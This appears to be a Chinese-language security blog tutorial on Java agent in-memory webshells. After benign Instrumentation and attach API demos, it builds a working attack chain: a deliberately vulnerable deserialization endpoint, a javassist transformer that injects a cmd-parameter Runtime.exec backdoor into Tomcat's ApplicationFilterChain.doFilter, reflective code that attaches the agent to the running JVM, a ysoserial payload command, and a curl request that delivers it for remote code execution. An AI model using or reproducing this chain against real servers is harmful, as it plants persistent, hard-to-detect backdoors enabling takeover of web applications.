Java agent本质上可以理解为一个插件,该插件就是一个精心提供的jar包。只是启动方式和普通Jar包有所不同,对于普通的Jar包,通过指定类的main函数进行启动。但是Java Agent并不能单独启动,必须依附在一个Java应用程序运行,在面向切面编程方面应用比较广泛。 Java agent 的jar包通过JVMTI(JVM Tool Interface)完成加载,最终借助JPLISAgent(Java Programming Language Instrumentation Services Agent)完成对目标代码的修改。主要功能如下:
agent内存马的本质就是通过agentmain方法,修改正在运行的Java类,在其中插入恶意直接码,从而达到命令执行
Instrumentation
是 JVMTIAgent
(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM
进行交互,从而达到修改数据的效果
该方法定义如下
void addTransformer(ClassFileTransformer transformer);
addTransformer 方法
来用于注册Transformer(转换器
),所以我们可以通过编写实现 ClassFileTransformer 接口的类,来注册我们自己的转换器,在agent
拦截修改类时,便会调用我们所传入转换器对象的transformer方法
Instrumentation 中含有名为 transformer 的 Class 文件转换器,在agent对类进行拦截修改时,便调用该方法,该方法可以改变二进制流的数据
该方法定义如下
Class[] getAllLoadedClasses();
我们可以通过getAllLoadedClasses 方法
获取所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class
一个简单的demo
Agdemo.java
import java.lang.instrument.Instrumentation;
public class Agdemo {
public static void premain(String agentArgs,Instrumentation ins){
Class[] classes=ins.getAllLoadedClasses();
for(Class c:classes){
System.out.println(c.getName());
}
}
}
其他文件仍与上文相同
执行以下命令运行
java -javaagent:agent.jar=111 -jar hello.jar
成功输出所有已加载的类
该方法定义如下
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
retransformClasses 方法
可以重新定义已加载的 class
,当我们想修改一个已经加载的类的时候可以调用该函数,来重新触发这个Transformer
*(也就是addTransformer注册的转换器的transform方法)*的拦截,以此达到对已加载的类进行字节码修改的效果
VirtualMachine
可以来实现获取系统信息,内存dump、现成dump、类信息统计(JVM加载的类),常用的方法有LoadAgent,Attach 和 Detach 。
Attach :通过jvm的id连接jvm
VirtualMachine vm = VirtualMachine.attach(v.id());
//v为VirtualMachineDescriptor对象,下文有讲
loadAgent:向Attach方法获取的jvm注册一个代理程序agent
String path = "AgentMain.jar的路径";
vm.loadAgent(path)
Detach:从 JVM 上面解除一个代理(agent)
VirtualMachineDescriptor
是一个描述虚拟机的容器类,可以通过VirtualMachine.list()获取,
List<VirtualMachineDescriptor> list = VirtualMachine.list();
常用的方法有
displayName():获取当前jvm运行的主类名
id():获取当前jvm的id
,得到id
后就可以用VirtualMachine.attach()
方法通过id
获得该虚拟机,然后再使用VirtualMachine.loadAgent()
方法对该id
注册agent
Java agent一共分为两种:
premain 方法:在jvm启动时执行(该特性在 jdk 1.5 之后才有)
agentmain方法:在jvm加载后执行(该特性在 jdk 1.6 之后才有)
普通的 Java 类是以 main 函数作为入口,Java Agent 的入口则是 premain 和 agentmain
我们先创建一个类实现 premain 方法
Agdemo.java
import java.lang.instrument.Instrumentation;
public class Agdemo {
public static void premain(String agentArgs,Instrumentation ins){
Class[] classes=ins.getAllLoadedClasses();
System.out.println(agentArgs);
for(Class c:classes){
System.out.println(c.getName()); //测试上文的getAllLoadedClasses方法
}
}
}
同时创建对应的清单(main fest)
agent.mf
(注意最后一行要为空格)
Manifest-Version: 1.0
Premain-Class: Agdemo
这里补充下mf文件的知识,大致选项如下
Main-Class:包含 main 方法的类(类的全路径名)
Premain-Class: 包含 premain 方法的类(类的全路径名)
Agent-Class: 包含 agentmain 方法的类(类的全路径名)
Boot-Class-Path: 设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)
Can-Redefine-Classes: true表示能重定义此代理所需的类,默认值为 false(可选)
Can-Retransform-Classes: true 表示能重转换此代理所需的类,默认值为 false (可选)
Can-Set-Native-Method-Prefix: true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)
然后使用javac将其编译为class文件
javac Agdemo.java
然后将class文件和mf一起打包为jar,获取代理程序 agent.jar,即为我们的代理程序
jar cvfm agent.jar agent.mf Agdemo.class
然后创建我们被代理的类
Hello.java
public class Hello {
public static void main(String[] args) {
System.out.println("Hello,World");
}
}
然后创建清单 Hello.mf
Manifest-Version: 1.0
Main-Class: Hello
同样将其编译为class文件
javac Hello.java
然后和清单一起打包为jar文件,我们得到被代理的程序 hello.jar
jar cvfm hello.jar Hello.mf Hello.class
然后使用java命令,使用agent代理
运行 hell.jar
java -javaagent:agent.jar=114514 -jar hello.jar
成功运行
agent代理
的设置与premain
略有不同,需要用到VirtualMachine 和 VirtualMachineDescriptor类,
获取其jvm的id,然后对其注册agent代理
具体流程如下
我们同样需要创建一个实现agentmain方法
的类
Agenttest.java
import java.lang.instrument.Instrumentation;
public class Agenttest {
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new MyTransformer(),true); //MyTransformer()类是需要自己编写的
}
}
编写一个实现了ClassFileTransformer
的转换器类
MyTransformer.java
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println(className);
return classfileBuffer;
}
}
然后创建清单 agentmain.mf
(注意要留一行空格)
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: Agenttest
然后编译并打包,获得代理程序 AgentMain.jar
javac Agenttest.java
javac MyTransformer.java
jar cvfm AgentMain.jar agmain.mf Agenttest.class MyTransformer.class
下一步编写我们被代理的类
这个类中需要导入VirtualMachine 类与VirtualMachineDescriptor类
这里有些坑:
mac环境下jdk是能直接找到 VirtualMachine 类
但是在windows中jdk中无法找到,可以手动将jdk目录下的lib目录中的tools.jar添加进当前工程的Libraries中
并且在Java9及以后的版本不允许SelfAttach(即无法attach自身的进程),会报错
Can not attach to current VM
,我们在运行时添加参数-Djdk.attach.allowAttachSelf=true
即可
创建被代理的类 Hello.java
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Hello {
public static void main(String[] args) throws Exception{
String path = "AgentMain.jar的路径";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
System.out.println(v.displayName());
if (v.displayName().contains("Hello")){
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的 agent.jar 发送给虚拟机
vm.loadAgent(path);
vm.detach();
}
}
}
}
成功运行
这里解释下为什么会输出上面四个类
当一个类被加载到 JVM 中时,类加载器会通知 Java 虚拟机,然后 Java 虚拟机会调用注册的 ClassFileTransformer 实现类的 transform 方法来处理这个类
java.lang.IndexOutOfBoundsException
:这是一个运行时异常类,表示索引越界异常。当试图访问数组、集合或字符串等数据结构中不存在的索引时,就会抛出此异常。通常情况下,这意味着程序试图访问一个超出有效范围的位置。java.lang.Shutdown
:这是一个用于 JVM 关闭操作的辅助类。它包含一些静态方法,用于注册虚拟机关闭时要执行的动作。例如,可以使用 addShutdownHook
方法注册一个关闭挂钩(shutdown hook),以便在 JVM 即将关闭时执行某些清理操作。java.lang.Shutdown$Lock
:这是 Shutdown
类中的内部静态类,用于实现对 JVM 关闭操作的同步锁定。在 JVM 关闭过程中,需要确保对关闭操作的同步执行,以避免并发问题,Shutdown$Lock
类就是为此而设计的。上面的2,3,4类都是JVM在运行时必加载的基础类
因为实战环境中我们说攻击的jvm虚拟机肯定都是已经启动的,故premain
无法使用,所以我们需要通过agentmain
,调用Instrumentation.retransformClasses()方法
,调用我们自定义的transform转换器
,重转换一个一定会被执行的类,并且往这个类中插入恶意字节码不影响其原来的业务逻辑
ApplicationFilterChain类中的doFilter方法便是我们要寻找的要注入内存马的类
当我们向tomcat服务器
发送一个请求,一定会经过Filter
在 Java Web 中,Filter 是一种用于在 Servlet 被调用之前或之后对请求进行预处理或后处理的组件。它允许开发人员在 Servlet 的请求处理过程中添加额外的逻辑,而无需修改 Servlet 本身
在请求经过Filter时便会调用doFilter方法
doFilter
方法是 Filter 接口中的一个方法,用于对请求进行过滤处理。具体来说,它的作用包括:
- 预处理请求:在 Servlet 被调用之前,Filter 的
doFilter
方法会被调用,开发人员可以在这里对请求进行预处理,例如验证请求参数、检查用户身份、设置字符编码等。- 调用下一个 Filter 或 Servlet:在对请求进行预处理之后,Filter 的
doFilter
方法通常会调用FilterChain
的doFilter
方法,将请求传递给下一个 Filter 或 Servlet。这样可以形成 Filter 链,多个 Filter 可以依次对请求进行处理。
这里用cc 3.2.1 +springframework
的环境,利用cc链11给提供web服务的对象注册agent代理
创建漏洞类 CommonsCollectionsVuln.java
package org.example.agentmm.demos.web;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;
@Controller
public class CommonsCollectionsVuln {
@ResponseBody
@RequestMapping("/cc")
public String cc11Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "Hello,World";
}
@ResponseBody
@RequestMapping("/test")
public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
return "This is Elite!";
}
}
然后在pom.xml
中添加依赖项如下
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
下一步创建agentmain代理
,作用是:遍历找到要攻击类对应的JVM中的ApplicationFilterChain类
,然后对其进行重定义
AgentMain.java
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new MyTransformer(),true);
// 获取所有已加载的类
Class[] classes = ins.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
ins.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
然后创建我们的转换器,其作用是如果传入的类为ApplicationFilterChain
,则对其doFilter方法
插入恶意字节码
MyTransformer.java
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class DefineTransformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
System.out.println("Find the Inject Class: " + ClassName);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");
m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = c.toBytecode();
// 将 c 从 classpool 中删除以释放内存
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
执行以下命令,对项目打包为 agent.jar
mvn assembly:assembly
然后我们构造cc链11反序列化执行的代码
tools.jar 并不会在 JVM 启动时默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar
该代码的作用是找到当前受攻击类的JVM然后对其注册agent
Test.java
try{
java.lang.String path = "C:/Users/Elite/Desktop/agent.jar";
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);
System.out.println("Running JVM list ...");
for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
java.lang.String name = (java.lang.String) displayName.invoke(o,null);
// 列出当前有哪些 JVM 进程在运行
// 这里的 if 条件根据实际情况进行更改
if (name.contains("org.example.agentmm.demos.web.Applicationmain")){
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
然后用yso生成cc链
java -jar ysoserial.jar CommonsCollections6 codefile:./Test.java > cc11demo.ser
最后使用curl访问发包即可
curl -v "http://localhost:8080/cc11" --data-binary "@./cc11demo.ser"
我们访问传参测试,成功rce
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!